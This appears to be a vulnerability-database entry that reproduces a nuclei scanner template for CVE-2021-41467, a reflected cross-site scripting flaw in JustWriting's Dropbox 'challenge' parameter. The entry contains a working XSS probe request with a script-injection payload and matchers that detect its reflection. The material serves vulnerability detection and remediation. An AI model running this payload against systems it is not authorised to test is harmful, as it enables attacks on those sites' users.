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JustWriting - Cross-Site Scripting

🗓️ 23 Oct 2026 02:07:15Reported by ProjectDiscoveryType 
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 nuclei
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A JustWriting web application version 1.0.0 and below is vulnerable to Cross-Site Scripting (XSS) via the challenge parameter

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JustWriting cross-site scripting vulnerabilities
1 Oct 202100:00
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1 Oct 202115:42
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Cross-site scripting in application/controllers/dropbox.php in JustWriting
4 Oct 202120:13
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GHSA-GXMC-5WJ3-JX64 Cross-site scripting in application/controllers/dropbox.php in JustWriting
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id: CVE-2021-41467

info:
  name: JustWriting - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: A cross-site scripting vulnerability in application/controllers/dropbox.php in JustWriting 1.0.0 and below allow remote attackers to inject arbitrary web script or HTML via the challenge parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/hjue/JustWriting/issues/106
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41467
    - https://github.com/hjue/JustWriting/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-41467
    cwe-id: CWE-79
    epss-score: 0.03601
    epss-percentile: 0.89408
    cpe: cpe:2.3:a:justwriting_project:justwriting:1.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: justwriting_project
    product: justwriting
  tags: cve2021,cve,justwriting,xss,justwriting_project,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "justwriting")'
        condition: and
        internal: true

  - raw:
      - |
        GET /sync/dropbox/download?challenge=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "</script><script>alert(document.domain)</script>")'
        condition: and
# digest: 4a0a0047304502203087c2bdafa38125fab7f0a7064aa64fbd08cb0117d0fe2ed58f14c388b71343022100c60acbbb4f58b01d760df9cc2c13161c5d1ec4846178efa91930eaeb1b95c3fb:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 24.3
CVSS 3.16.1
EPSS0.03601
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